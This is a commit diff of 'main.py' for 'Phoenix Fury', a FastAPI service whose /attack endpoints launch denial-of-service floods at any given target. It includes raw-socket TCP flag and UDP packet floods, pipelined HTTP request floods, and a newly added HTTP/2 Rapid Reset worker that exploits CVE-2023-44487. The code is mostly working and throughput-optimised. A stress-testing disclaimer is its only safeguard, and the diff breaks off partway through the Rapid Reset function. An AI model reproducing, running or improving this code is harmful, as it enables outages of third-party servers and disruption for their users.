Samuraiog commited on
Commit
9b85541
·
verified ·
1 Parent(s): 87c3fcc

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +284 -156
main.py CHANGED
@@ -1,3 +1,13 @@
 
 
 
 
 
 
 
 
 
 
1
  import os
2
  import sys
3
  import socket
@@ -9,57 +19,65 @@ import struct
9
  import ssl
10
  from ctypes import c_ulonglong
11
  from typing import Literal, List, Union
 
12
 
13
- # --- Third-party libraries ---
14
  import uvicorn
15
  import psutil
16
  from fastapi import FastAPI, BackgroundTasks, HTTPException
17
  from pydantic import BaseModel, Field
18
 
19
- # ====================================================================================
20
- # AUTO-OPTIMIZED CONFIGURATION
21
- # ====================================================================================
 
 
 
 
 
 
22
 
23
- # Attempt to use uvloop for better performance, but fall back if not available
24
  try:
25
  import uvloop
26
  uvloop.install()
27
  print("[INFO] uvloop activated for enhanced performance.")
28
  except ImportError:
29
- print("[INFO] uvloop not found. Using standard asyncio event loop.")
30
- pass
 
 
 
31
 
32
  CPU_COUNT = psutil.cpu_count(logical=True) or 8
33
  TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
34
 
35
  def calculate_optimal_config():
36
- """
37
- Calculates a more realistic number of processes based on CPU cores
38
- to avoid overwhelming the host system.
39
- """
40
  if CPU_COUNT >= 32:
41
- max_processes = CPU_COUNT * 2 # 64-96 processes for 32-48 cores
 
42
  elif CPU_COUNT >= 16:
43
- max_processes = CPU_COUNT * 3 # 48 processes for 16 cores
 
44
  elif CPU_COUNT >= 8:
45
- max_processes = CPU_COUNT * 4 # 32 processes for 8 cores
 
46
  elif CPU_COUNT >= 4:
47
- max_processes = CPU_COUNT * 6 # 24 processes for 4 cores
 
48
  else:
49
- max_processes = CPU_COUNT * 8 # 16 processes for 2 cores
50
-
51
- # L7 worker configuration
52
- requests_per_connection = 500 # Send 500 requests per socket before reconnecting
53
 
54
- return max_processes, requests_per_connection
55
 
56
- # Set global configuration constants
57
  MAX_PROCESSES, REQUESTS_PER_CONNECTION = calculate_optimal_config()
58
- STATS_BATCH_UPDATE_SIZE = 1000 # Update shared counter every 1000 requests for performance
59
 
60
- # ====================================================================================
61
- # Pydantic API Models
62
- # ====================================================================================
63
 
64
  class BaseAttackConfig(BaseModel):
65
  target: str = Field(..., description="Target hostname or IP address")
@@ -67,15 +85,15 @@ class BaseAttackConfig(BaseModel):
67
  duration: int = Field(60, ge=10, le=7200, description="Attack duration in seconds")
68
 
69
  class L4TCPConfig(BaseAttackConfig):
70
- method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")
71
 
72
  class L4UDPConfig(BaseAttackConfig):
73
- method: Literal["flood"] = Field("flood", description="Method for UDP attack")
74
- payload_size: int = Field(1024, ge=1, le=1472, description="Size of UDP payload in bytes.")
75
 
76
  class L7Config(BaseAttackConfig):
77
- method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
78
- path: str = Field("/", description="Request path")
79
 
80
  class StatusResponse(BaseModel):
81
  attack_active: bool
@@ -88,15 +106,16 @@ class StatusResponse(BaseModel):
88
  processes: int
89
  total_sent: int
90
  current_rate_pps_rps: float
 
91
  cpu_usage_percent: float
92
  memory_usage_percent: float
93
 
94
- # ====================================================================================
95
- # CORE NETWORKING & PACKET CRAFTING (For L4 Attacks)
96
- # ====================================================================================
97
 
98
  def check_root() -> bool:
99
- """Check if running with root/admin privileges, required for raw sockets."""
100
  try:
101
  return os.geteuid() == 0
102
  except AttributeError:
@@ -104,7 +123,7 @@ def check_root() -> bool:
104
  return ctypes.windll.shell32.IsUserAnAdmin() != 0
105
 
106
  def resolve_target(target: str) -> str:
107
- """Resolve hostname to IP address, cleaning up URL prefixes."""
108
  try:
109
  if "://" in target:
110
  target = target.split("://")[1].split("/")[0]
@@ -113,7 +132,7 @@ def resolve_target(target: str) -> str:
113
  raise ValueError(f"Could not resolve hostname: {target}")
114
 
115
  def get_local_ip(target_ip: str) -> str:
116
- """Get the local IP address that routes to the target."""
117
  try:
118
  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
119
  s.connect((target_ip, 1))
@@ -135,7 +154,7 @@ def calculate_checksum(data: bytes) -> int:
135
  return (~s) & 0xffff
136
 
137
  def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes:
138
- """Create a raw IP header."""
139
  header = struct.pack('!BBHHHBBH4s4s',
140
  (4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0,
141
  socket.inet_aton(src_ip), socket.inet_aton(dst_ip)
@@ -144,7 +163,7 @@ def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> by
144
  return header[:10] + struct.pack('!H', checksum) + header[12:]
145
 
146
  def create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes:
147
- """Create a raw TCP header with specified flags."""
148
  seq = random.randint(1, 4294967295)
149
  ack_seq = 0
150
  header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0)
@@ -153,38 +172,36 @@ def create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, fl
153
  return header[:16] + struct.pack('!H', checksum) + header[18:]
154
 
155
  def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
156
- """Create a raw UDP header."""
157
  udp_len = 8 + len(payload)
158
  header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0)
159
  pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len)
160
  checksum = calculate_checksum(pseudo_header + header + payload)
161
  return header[:6] + struct.pack('!H', checksum)
162
 
163
- # ====================================================================================
164
- # WORKER PROCESSES
165
- # ====================================================================================
166
 
167
  def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
168
- """Ultra-optimized L4 worker using raw sockets for maximum PPS."""
169
  try:
170
  sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
171
  sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
172
- # Increase socket buffer for higher throughput
173
- sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)
174
  local_ip = get_local_ip(target_ip)
175
  except Exception as e:
176
- print(f"[Worker PID {os.getpid()}] L4 Init Error: {e}. Raw sockets often require root privileges.", file=sys.stderr)
177
  return
178
-
179
  local_counter = 0
 
180
  flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32}
181
 
182
- # Pre-generate payload for UDP flood to avoid overhead in the loop
183
  if attack_type == 'udp':
184
  payload = os.urandom(method_details)
185
  udp_len = 8 + len(payload)
186
-
187
- # Main packet crafting loop - optimized for speed
188
  while not stop_event.is_set():
189
  try:
190
  src_port = random.randint(10000, 65535)
@@ -193,7 +210,7 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
193
  ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40)
194
  tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2))
195
  packet = ip_header + tcp_header
196
- else: # udp
197
  ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len)
198
  udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload)
199
  packet = ip_header + udp_header + payload
@@ -201,36 +218,37 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
201
  sock.sendto(packet, (target_ip, port))
202
  local_counter += 1
203
 
204
- # Batch counter updates for performance
205
- if local_counter >= STATS_BATCH_UPDATE_SIZE:
206
  with shared_counter.get_lock():
207
  shared_counter.value += local_counter
208
  local_counter = 0
209
  except Exception:
210
- pass # Ignore send errors for maximum speed
211
-
212
- # Final counter update before exiting
213
  if local_counter > 0:
214
  with shared_counter.get_lock():
215
  shared_counter.value += local_counter
216
  sock.close()
217
 
218
  def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, requests_per_conn):
219
- """Simple but effective L7 worker using standard blocking sockets."""
220
  use_ssl = (port in [443, 8443])
221
- host_header = target_ip # Use IP in host header for direct attacks
222
-
223
- http_template = f"{method.upper()} {path}?r={{}} HTTP/1.1\r\nHost: {host_header}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"
224
- http_request = http_template.encode()
 
 
225
 
226
  local_counter = 0
 
227
 
228
- # TIGHT LOOP: Connect -> Send burst -> Disconnect -> Repeat
229
  while not stop_event.is_set():
230
  sock = None
231
  try:
232
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
233
  sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
 
234
  sock.settimeout(3)
235
  sock.connect((target_ip, port))
236
 
@@ -240,39 +258,139 @@ def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method,
240
  context.verify_mode = ssl.CERT_NONE
241
  sock = context.wrap_socket(sock, server_hostname=target_ip)
242
 
243
- # Send a burst of pipelined requests
244
  for i in range(requests_per_conn):
245
  if stop_event.is_set():
246
  break
247
  try:
248
- sock.send(http_request.replace(b'{}', str(random.randint(1,99999)).encode()))
 
 
249
  local_counter += 1
 
 
 
 
 
250
  except (socket.error, BrokenPipeError):
251
- break # Connection broke, reconnect
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
252
 
253
  except (socket.error, ssl.SSLError, ConnectionRefusedError, TimeoutError):
254
- time.sleep(0.1) # Brief pause on connection failure
 
 
255
  finally:
256
  if sock:
257
  try:
258
  sock.close()
259
  except Exception:
260
  pass
261
-
262
- # Update shared counter in batches to reduce lock contention
263
- if local_counter >= STATS_BATCH_UPDATE_SIZE:
264
- with shared_counter.get_lock():
265
- shared_counter.value += local_counter
266
- local_counter = 0
267
 
268
- # Final update
269
  if local_counter > 0:
270
  with shared_counter.get_lock():
271
  shared_counter.value += local_counter
272
 
273
- # ====================================================================================
274
- # CENTRALIZED ATTACK MANAGER (SINGLETON)
275
- # ====================================================================================
276
 
277
  class AttackManager:
278
  _instance = None
@@ -282,7 +400,7 @@ class AttackManager:
282
  cls._instance = super(AttackManager, cls).__new__(cls)
283
  cls._instance._initialized = False
284
  return cls._instance
285
-
286
  def __init__(self):
287
  if self._initialized:
288
  return
@@ -290,7 +408,7 @@ class AttackManager:
290
  self.lock = threading.Lock()
291
  self.stats_thread = None
292
  self._reset_state()
293
-
294
  def _reset_state(self):
295
  self.attack_active = False
296
  self.attack_type = "None"
@@ -304,37 +422,43 @@ class AttackManager:
304
  self.stop_event = multiprocessing.Event()
305
  self.counter = multiprocessing.Value(c_ulonglong, 0)
306
  self.current_rate = 0.0
307
-
 
308
  def is_active(self):
309
  with self.lock:
310
  return self.attack_active
311
-
312
  def _stats_calculator(self):
313
- """Background thread to calculate current rate (RPS/PPS)."""
314
- last_check_time = time.time()
315
  last_count = 0
 
316
 
317
  while not self.stop_event.is_set():
318
- time.sleep(1)
319
- now = time.time()
 
320
  current_count = self.counter.value
321
- elapsed = now - last_check_time
322
 
323
- if elapsed > 0:
324
- self.current_rate = (current_count - last_count) / elapsed
 
 
 
 
 
325
 
326
- last_check_time = now
327
  last_count = current_count
 
328
 
329
  self.current_rate = 0.0
330
-
331
  def start(self, config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str):
332
  with self.lock:
333
  if self.attack_active:
334
  raise HTTPException(status_code=409, detail="An attack is already in progress.")
335
 
336
- self._reset_state() # Reset before starting a new one
337
-
338
  try:
339
  self.target_host = config.target
340
  self.target_ip = resolve_target(self.target_host)
@@ -342,7 +466,7 @@ class AttackManager:
342
  raise PermissionError("Layer 4 attacks require root privileges.")
343
  except (ValueError, PermissionError) as e:
344
  raise HTTPException(status_code=400, detail=str(e))
345
-
346
  self.attack_active = True
347
  self.port = config.port
348
  self.duration = config.duration
@@ -353,9 +477,16 @@ class AttackManager:
353
  worker_target, worker_args, attack_name = (None, (), "Unknown")
354
 
355
  if family == 'l7' and isinstance(config, L7Config):
356
- attack_name = f"L7-{config.method.upper()}"
357
- worker_target = l7_worker_process
358
- worker_args = (self.stop_event, self.counter, self.target_ip, config.port, config.path, config.method, REQUESTS_PER_CONNECTION)
 
 
 
 
 
 
 
359
 
360
  elif family == 'l4':
361
  worker_target = l4_worker_process
@@ -368,14 +499,14 @@ class AttackManager:
368
 
369
  self.attack_type = attack_name
370
 
371
- print("\n" + "=" * 70)
372
- print(f"🔥 PHOENIX FURY - ATTACK INITIATED 🔥")
373
  print(f" Type: {self.attack_type}")
374
  print(f" Target: {self.target_host}:{self.port} ({self.target_ip})")
375
  print(f" Duration: {self.duration}s")
376
- print(f" Processes: {self.process_count} (Auto-Optimized)")
377
- print("=" * 70 + "\n")
378
-
379
  for _ in range(self.process_count):
380
  p = multiprocessing.Process(target=worker_target, args=worker_args, daemon=True)
381
  self.processes.append(p)
@@ -383,13 +514,13 @@ class AttackManager:
383
 
384
  self.stats_thread = threading.Thread(target=self._stats_calculator, daemon=True)
385
  self.stats_thread.start()
386
-
387
  def stop(self):
388
  with self.lock:
389
  if not self.attack_active:
390
  return
391
 
392
- print(f"\n⚠️ Stop signal received. Terminating {len(self.processes)} processes...")
393
  self.stop_event.set()
394
 
395
  for p in self.processes:
@@ -400,23 +531,27 @@ class AttackManager:
400
  p.terminate()
401
 
402
  if self.stats_thread:
403
- self.stats_thread.join(timeout=1)
404
 
405
  elapsed = time.time() - self.start_time
406
  total_sent = self.counter.value
407
  avg_rate = total_sent / elapsed if elapsed > 0 else 0
408
 
409
- print("\n" + "=" * 50)
410
  print("✅ ATTACK TERMINATED")
411
- print(f" Total Sent: {total_sent:,}")
412
  print(f" Elapsed Time: {elapsed:.2f}s")
413
- print(f" Average Rate: {avg_rate:,.2f} PPS/RPS")
414
- print("=" * 50 + "\n")
415
 
416
  self._reset_state()
417
-
418
  def get_status(self) -> StatusResponse:
419
  with self.lock:
 
 
 
 
420
  return StatusResponse(
421
  attack_active=self.attack_active,
422
  attack_type=self.attack_type,
@@ -424,77 +559,69 @@ class AttackManager:
424
  target_ip=self.target_ip,
425
  port=self.port,
426
  duration=self.duration,
427
- elapsed_time=round(time.time() - self.start_time, 2) if self.attack_active else 0,
428
  processes=self.process_count,
429
- total_sent=self.counter.value,
430
  current_rate_pps_rps=round(self.current_rate, 2),
431
- cpu_usage_percent=psutil.cpu_percent(),
 
432
  memory_usage_percent=psutil.virtual_memory().percent
433
  )
434
 
435
- # ====================================================================================
436
- # FASTAPI APPLICATION
437
- # ====================================================================================
438
 
439
  app = FastAPI(
440
- title="🔥 Phoenix Fury API - EXTREME PERFORMANCE Edition",
441
- description="High-performance stress testing tool with auto-optimized settings. For authorized testing only.",
442
- version="8.0.0"
443
  )
444
 
445
  MANAGER = AttackManager()
446
 
447
  def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
448
- """Handles the background task lifecycle for an attack."""
449
- try:
450
- # The start method now raises HTTPException on failure
451
- background_tasks.add_task(MANAGER.start, config, family)
452
-
453
- # Schedule the stop task to run after the duration
454
- def delayed_stop():
455
- time.sleep(config.duration)
456
- MANAGER.stop()
457
-
458
- stop_thread = threading.Thread(target=delayed_stop, daemon=True)
459
- stop_thread.start()
460
-
461
- except HTTPException as e:
462
- # Re-raise the exception to be handled by FastAPI
463
- raise e
464
 
465
  @app.on_event("startup")
466
  async def on_startup():
467
  print("=" * 80)
468
- print(f"🔥 Phoenix Fury API v8.0 is online.")
469
- print(f" System: {CPU_COUNT} CPU Cores, {TOTAL_RAM_GB:.1f} GB RAM")
470
- print(f" Auto-Config: {MAX_PROCESSES} Worker Processes, {REQUESTS_PER_CONNECTION} L7 reqs/conn")
471
- if check_root():
472
- print("✅ Running with root privileges - L4 attacks ENABLED.")
473
- else:
474
- print("⚠️ WARNING: Not running as root - L4 attacks will FAIL.")
475
  print("=" * 80)
476
 
477
  @app.post("/attack/layer7", status_code=202)
478
  def api_start_l7(config: L7Config, background_tasks: BackgroundTasks):
479
  run_attack_lifecycle(config, 'l7', background_tasks)
480
- return {"status": "accepted", "message": f"L7 attack initiated on {config.target}:{config.port}"}
481
 
482
  @app.post("/attack/layer4/tcp", status_code=202)
483
  def api_start_l4_tcp(config: L4TCPConfig, background_tasks: BackgroundTasks):
484
  run_attack_lifecycle(config, 'l4', background_tasks)
485
- return {"status": "accepted", "message": f"L4 TCP {config.method.upper()} attack initiated on {config.target}:{config.port}"}
486
 
487
  @app.post("/attack/layer4/udp", status_code=202)
488
  def api_start_l4_udp(config: L4UDPConfig, background_tasks: BackgroundTasks):
489
  run_attack_lifecycle(config, 'l4', background_tasks)
490
- return {"status": "accepted", "message": f"L4 UDP {config.method.upper()} attack initiated on {config.target}:{config.port}"}
491
 
492
  @app.post("/attack/stop")
493
  def api_stop_attack():
494
  if not MANAGER.is_active():
495
  return {"status": "info", "message": "No attack is currently running."}
496
  MANAGER.stop()
497
- return {"status": "success", "message": "Stop signal sent successfully."}
498
 
499
  @app.get("/status", response_model=StatusResponse)
500
  def get_status():
@@ -503,24 +630,25 @@ def get_status():
503
  @app.get("/")
504
  def root():
505
  return {
506
- "message": "🔥 Phoenix Fury API v8.0",
507
  "docs_url": "/docs",
508
  "status_url": "/status",
 
 
 
 
 
509
  "system_info": {
510
  "cpu_cores": CPU_COUNT,
511
- "auto_configured_processes": MAX_PROCESSES,
512
- "root_privileges": check_root()
513
  }
514
  }
515
 
516
- # ====================================================================================
517
- # MAIN EXECUTION BLOCK
518
- # ====================================================================================
519
 
520
  if __name__ == "__main__":
521
- # Required for compatibility on platforms like Windows
522
- multiprocessing.freeze_support()
523
-
524
- # Use workers=1 because the AttackManager singleton holds the global state.
525
- # Multiple workers would create multiple managers, leading to conflicts.
526
- uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)
 
1
+ """
2
+ 🔥 Phoenix Fury v9.0 - Advanced Stress Testing Framework
3
+ - HTTP/2 Rapid Reset Attack
4
+ - Optimized L4/L7 with accurate metrics
5
+ - Real-time statistics with proper rate calculation
6
+ - Multi-protocol support
7
+
8
+ ⚠️ FOR AUTHORIZED SECURITY TESTING ONLY ⚠️
9
+ """
10
+
11
  import os
12
  import sys
13
  import socket
 
19
  import ssl
20
  from ctypes import c_ulonglong
21
  from typing import Literal, List, Union
22
+ from collections import deque
23
 
24
+ # Third-party libraries
25
  import uvicorn
26
  import psutil
27
  from fastapi import FastAPI, BackgroundTasks, HTTPException
28
  from pydantic import BaseModel, Field
29
 
30
+ # Try to import HTTP/2 libraries
31
+ try:
32
+ import h2.connection
33
+ import h2.config
34
+ import h2.events
35
+ H2_AVAILABLE = True
36
+ except ImportError:
37
+ H2_AVAILABLE = False
38
+ print("[WARN] h2 library not found. HTTP/2 Rapid Reset unavailable. Install: pip install h2")
39
 
40
+ # Try uvloop
41
  try:
42
  import uvloop
43
  uvloop.install()
44
  print("[INFO] uvloop activated for enhanced performance.")
45
  except ImportError:
46
+ print("[INFO] uvloop not found. Using standard asyncio.")
47
+
48
+ # =============================================================================
49
+ # SYSTEM CONFIGURATION
50
+ # =============================================================================
51
 
52
  CPU_COUNT = psutil.cpu_count(logical=True) or 8
53
  TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
54
 
55
  def calculate_optimal_config():
56
+ """Calculate optimal configuration based on system resources."""
 
 
 
57
  if CPU_COUNT >= 32:
58
+ max_processes = CPU_COUNT * 3
59
+ requests_per_conn = 1000
60
  elif CPU_COUNT >= 16:
61
+ max_processes = CPU_COUNT * 4
62
+ requests_per_conn = 800
63
  elif CPU_COUNT >= 8:
64
+ max_processes = CPU_COUNT * 6
65
+ requests_per_conn = 600
66
  elif CPU_COUNT >= 4:
67
+ max_processes = CPU_COUNT * 8
68
+ requests_per_conn = 500
69
  else:
70
+ max_processes = CPU_COUNT * 10
71
+ requests_per_conn = 400
 
 
72
 
73
+ return max_processes, requests_per_conn
74
 
 
75
  MAX_PROCESSES, REQUESTS_PER_CONNECTION = calculate_optimal_config()
76
+ STATS_UPDATE_INTERVAL = 0.5 # Update stats every 500ms for accuracy
77
 
78
+ # =============================================================================
79
+ # API MODELS
80
+ # =============================================================================
81
 
82
  class BaseAttackConfig(BaseModel):
83
  target: str = Field(..., description="Target hostname or IP address")
 
85
  duration: int = Field(60, ge=10, le=7200, description="Attack duration in seconds")
86
 
87
  class L4TCPConfig(BaseAttackConfig):
88
+ method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn")
89
 
90
  class L4UDPConfig(BaseAttackConfig):
91
+ method: Literal["flood"] = Field("flood")
92
+ payload_size: int = Field(1024, ge=1, le=1472)
93
 
94
  class L7Config(BaseAttackConfig):
95
+ method: Literal["get", "post", "head", "http2-rapid-reset"] = Field("get")
96
+ path: str = Field("/")
97
 
98
  class StatusResponse(BaseModel):
99
  attack_active: bool
 
106
  processes: int
107
  total_sent: int
108
  current_rate_pps_rps: float
109
+ average_rate: float
110
  cpu_usage_percent: float
111
  memory_usage_percent: float
112
 
113
+ # =============================================================================
114
+ # NETWORKING UTILITIES
115
+ # =============================================================================
116
 
117
  def check_root() -> bool:
118
+ """Check if running with root/admin privileges."""
119
  try:
120
  return os.geteuid() == 0
121
  except AttributeError:
 
123
  return ctypes.windll.shell32.IsUserAnAdmin() != 0
124
 
125
  def resolve_target(target: str) -> str:
126
+ """Resolve hostname to IP address."""
127
  try:
128
  if "://" in target:
129
  target = target.split("://")[1].split("/")[0]
 
132
  raise ValueError(f"Could not resolve hostname: {target}")
133
 
134
  def get_local_ip(target_ip: str) -> str:
135
+ """Get local IP that routes to target."""
136
  try:
137
  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
138
  s.connect((target_ip, 1))
 
154
  return (~s) & 0xffff
155
 
156
  def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes:
157
+ """Create raw IP header."""
158
  header = struct.pack('!BBHHHBBH4s4s',
159
  (4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0,
160
  socket.inet_aton(src_ip), socket.inet_aton(dst_ip)
 
163
  return header[:10] + struct.pack('!H', checksum) + header[12:]
164
 
165
  def create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes:
166
+ """Create raw TCP header."""
167
  seq = random.randint(1, 4294967295)
168
  ack_seq = 0
169
  header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0)
 
172
  return header[:16] + struct.pack('!H', checksum) + header[18:]
173
 
174
  def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
175
+ """Create raw UDP header."""
176
  udp_len = 8 + len(payload)
177
  header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0)
178
  pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len)
179
  checksum = calculate_checksum(pseudo_header + header + payload)
180
  return header[:6] + struct.pack('!H', checksum)
181
 
182
+ # =============================================================================
183
+ # WORKER PROCESSES
184
+ # =============================================================================
185
 
186
  def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
187
+ """Ultra-optimized L4 worker."""
188
  try:
189
  sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
190
  sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
191
+ sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2 * 1024 * 1024)
 
192
  local_ip = get_local_ip(target_ip)
193
  except Exception as e:
194
+ print(f"[Worker PID {os.getpid()}] L4 Init Error: {e}", file=sys.stderr)
195
  return
196
+
197
  local_counter = 0
198
+ batch_size = 100
199
  flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32}
200
 
 
201
  if attack_type == 'udp':
202
  payload = os.urandom(method_details)
203
  udp_len = 8 + len(payload)
204
+
 
205
  while not stop_event.is_set():
206
  try:
207
  src_port = random.randint(10000, 65535)
 
210
  ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40)
211
  tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2))
212
  packet = ip_header + tcp_header
213
+ else:
214
  ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len)
215
  udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload)
216
  packet = ip_header + udp_header + payload
 
218
  sock.sendto(packet, (target_ip, port))
219
  local_counter += 1
220
 
221
+ if local_counter >= batch_size:
 
222
  with shared_counter.get_lock():
223
  shared_counter.value += local_counter
224
  local_counter = 0
225
  except Exception:
226
+ pass
227
+
 
228
  if local_counter > 0:
229
  with shared_counter.get_lock():
230
  shared_counter.value += local_counter
231
  sock.close()
232
 
233
  def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, requests_per_conn):
234
+ """Optimized HTTP/1.1 worker with pipelining."""
235
  use_ssl = (port in [443, 8443])
236
+ http_methods = {
237
+ "get": "GET",
238
+ "post": "POST",
239
+ "head": "HEAD"
240
+ }
241
+ http_method = http_methods.get(method.lower(), "GET")
242
 
243
  local_counter = 0
244
+ batch_size = 100
245
 
 
246
  while not stop_event.is_set():
247
  sock = None
248
  try:
249
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
250
  sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
251
+ sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 512 * 1024)
252
  sock.settimeout(3)
253
  sock.connect((target_ip, port))
254
 
 
258
  context.verify_mode = ssl.CERT_NONE
259
  sock = context.wrap_socket(sock, server_hostname=target_ip)
260
 
261
+ # Send pipelined requests
262
  for i in range(requests_per_conn):
263
  if stop_event.is_set():
264
  break
265
  try:
266
+ rand_param = random.randint(1, 999999)
267
+ request = f"{http_method} {path}?r={rand_param} HTTP/1.1\r\nHost: {target_ip}\r\nUser-Agent: Phoenix/9.0\r\nConnection: keep-alive\r\n\r\n"
268
+ sock.send(request.encode())
269
  local_counter += 1
270
+
271
+ if local_counter >= batch_size:
272
+ with shared_counter.get_lock():
273
+ shared_counter.value += local_counter
274
+ local_counter = 0
275
  except (socket.error, BrokenPipeError):
276
+ break
277
+ except (socket.error, ssl.SSLError, ConnectionRefusedError, TimeoutError):
278
+ time.sleep(0.05)
279
+ finally:
280
+ if sock:
281
+ try:
282
+ sock.close()
283
+ except Exception:
284
+ pass
285
+
286
+ if local_counter > 0:
287
+ with shared_counter.get_lock():
288
+ shared_counter.value += local_counter
289
+
290
+ def http2_rapid_reset_worker(stop_event, shared_counter, target_ip, port, path):
291
+ """
292
+ HTTP/2 Rapid Reset Attack Worker
293
+
294
+ This attack exploits CVE-2023-44487 by rapidly creating and resetting
295
+ HTTP/2 streams, causing resource exhaustion on the server.
296
+ """
297
+ if not H2_AVAILABLE:
298
+ print(f"[Worker PID {os.getpid()}] HTTP/2 library not available", file=sys.stderr)
299
+ return
300
+
301
+ use_ssl = (port in [443, 8443])
302
+ local_counter = 0
303
+ batch_size = 100
304
+
305
+ while not stop_event.is_set():
306
+ sock = None
307
+ try:
308
+ # Establish connection
309
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
310
+ sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
311
+ sock.settimeout(5)
312
+ sock.connect((target_ip, port))
313
+
314
+ if use_ssl:
315
+ context = ssl.create_default_context()
316
+ context.check_hostname = False
317
+ context.verify_mode = ssl.CERT_NONE
318
+ context.set_alpn_protocols(['h2'])
319
+ sock = context.wrap_socket(sock, server_hostname=target_ip)
320
+
321
+ # Initialize HTTP/2 connection
322
+ config = h2.config.H2Configuration(client_side=True)
323
+ conn = h2.connection.H2Connection(config=config)
324
+ conn.initiate_connection()
325
+ sock.sendall(conn.data_to_send())
326
+
327
+ # Rapid Reset Attack: Create streams and immediately reset them
328
+ stream_id = 1
329
+ reset_count = 0
330
+ max_resets_per_conn = 1000
331
+
332
+ while not stop_event.is_set() and reset_count < max_resets_per_conn:
333
+ try:
334
+ # Send request on new stream
335
+ headers = [
336
+ (':method', 'GET'),
337
+ (':path', f'{path}?r={random.randint(1, 999999)}'),
338
+ (':scheme', 'https' if use_ssl else 'http'),
339
+ (':authority', target_ip),
340
+ ('user-agent', 'Phoenix-Fury/9.0'),
341
+ ]
342
+
343
+ conn.send_headers(stream_id, headers)
344
+
345
+ # IMMEDIATELY send RST_STREAM (Rapid Reset)
346
+ conn.reset_stream(stream_id, error_code=0x8) # CANCEL
347
+
348
+ # Send data to server
349
+ data = conn.data_to_send()
350
+ if data:
351
+ sock.sendall(data)
352
+
353
+ local_counter += 1
354
+ reset_count += 1
355
+ stream_id += 2 # Client streams are odd numbers
356
+
357
+ # Update counter in batches
358
+ if local_counter >= batch_size:
359
+ with shared_counter.get_lock():
360
+ shared_counter.value += local_counter
361
+ local_counter = 0
362
+
363
+ # Handle server responses (without blocking)
364
+ sock.setblocking(False)
365
+ try:
366
+ data = sock.recv(65536)
367
+ if data:
368
+ events = conn.receive_data(data)
369
+ except (socket.error, BlockingIOError):
370
+ pass
371
+ sock.setblocking(True)
372
+
373
+ except Exception:
374
+ break
375
